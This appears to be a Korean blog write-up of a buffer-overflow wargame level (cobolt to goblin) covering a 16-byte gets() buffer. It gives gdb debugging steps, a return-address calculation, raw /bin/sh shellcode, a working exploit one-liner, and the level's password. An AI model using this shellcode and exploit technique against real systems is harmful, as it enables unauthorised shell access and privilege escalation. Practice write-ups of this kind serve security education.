1. 취약점
버퍼 오버플로우에 취약한 함수 gets() 사용
버퍼의 크기는 16byte, Level 2와 달리 메인함수에 매개 변수로 입력받는 방식이 아닌 표준 입력으로 입력받는다는 차이점이 있다. 하지만 리다이렉션이라는 좋은 기능이 있으니까 그것을 잘 응용해보자.
2. Exploit
1. bash2를 사용하고 goblin.c 파일을 /tmp 폴더에 복사한 후 /tmp로 이동한다
$ bash2
$ cp goblin.c /tmp/goblin.c && cd /tmp
2. gcc로 컴파일을 한다.
$ gcc -g -o goblin goblin.c
3. gdb로 디버깅을 시작한다.
$ gdb -q ./goblin
4. 어셈블리로 취약점이 있는 코드를 보자
(gdb) disas main
Level2랑 동일하게 초기단계를 관찰해보자
5. 중단점을 설정한 후 프로그램을 실행한다. 두 손은 무겁게 해서..
(gdb) b *main+3
(gdb) r `perl -e 'print "B"x61'`
(gdb) x/100x $esp
r `perl -e 'print "B"x61'`
궁금증이 생겼다.. 매개변수를 사용하지 않는 이 프로그램에 매개변수를 넣으면 어떻게 될까?
그래서 두 손 가득히 "B"를 담아 보내주었더니 메모리 공간 한 구석에 저 녀석이 생존하여 있다.
버퍼의 위치와 리턴주소의 위치를 확인하기 위해 프로그램을 계속 진행하였다
(gdb) n
(gdb) AAAAA
(gdb) x/40x $esp
버퍼가 16Byte + sfp가 4Byte 따라서 Return Address의 주소는 0xbffffae8
6. 쉘코드를 만들거나 웹에서 주어온다♥
\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80
지난 Level 2와 거의 유사하다. 표준입력을 할 때 손으로 일일히 타이핑하는 방식이 아닌
리다이렉션을 적극 활용하면 된다. buffer를 20byte로 채우고 Return Address는 0xbffffc40로 선택
7. 괴.. 괴롭혀 주겠다...
(gdb) q
$ cd ~
$ (perl -e 'print "A"x20, "\x40\xfc\xff\xbf"'; cat) | ./goblin `perl -e 'print "\x90"x20, "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
리다이렉션은 입력를 보통 키보드로 입력을 받는데 그것을 대신하여 파일이나 명령어 수행 결과를 입력으로 하는 기능을 의미한다. 시스템 프로그래밍의 파이프라인의 대표적인 사례이다.
8. 결과
id : goblin
passwd : hackers proof
9. 다른 풀이
gets()는 엔터키가 끝날 때까지 입력을 계속 받는다
따라서 디버깅 할 때 관찰하면 gets()문에서 A를 무진장 많이 넣어도 메모리에 고이 간직한다.
그 점을 이용해서 표준 입력 또는 리다이렉션으로 "A" x 20, "nop 구간의 임의의 주소", "\x90" x 20, 셀 코드를 순차적으로 입력해도 해결이 된다.
'Computer Science > BOF 원정대' 카테고리의 다른 글
[버퍼 오버플로우] Bof 원정대 (wolfman -> darkelf) (0) | 2016.10.07 |
---|---|
[버퍼 오버플로우] Bof 원정대 (orc -> wolfman) (0) | 2016.10.07 |
[버퍼 오버플로우] Bof 원정대 (goblin -> orc) (0) | 2016.10.07 |
[버퍼 오버플로우] Bof 원정대 (gremlin -> cobolt) (0) | 2016.10.03 |
[버퍼 오버플로우] Bof 원정대 (gate -> gremlin) (0) | 2016.10.03 |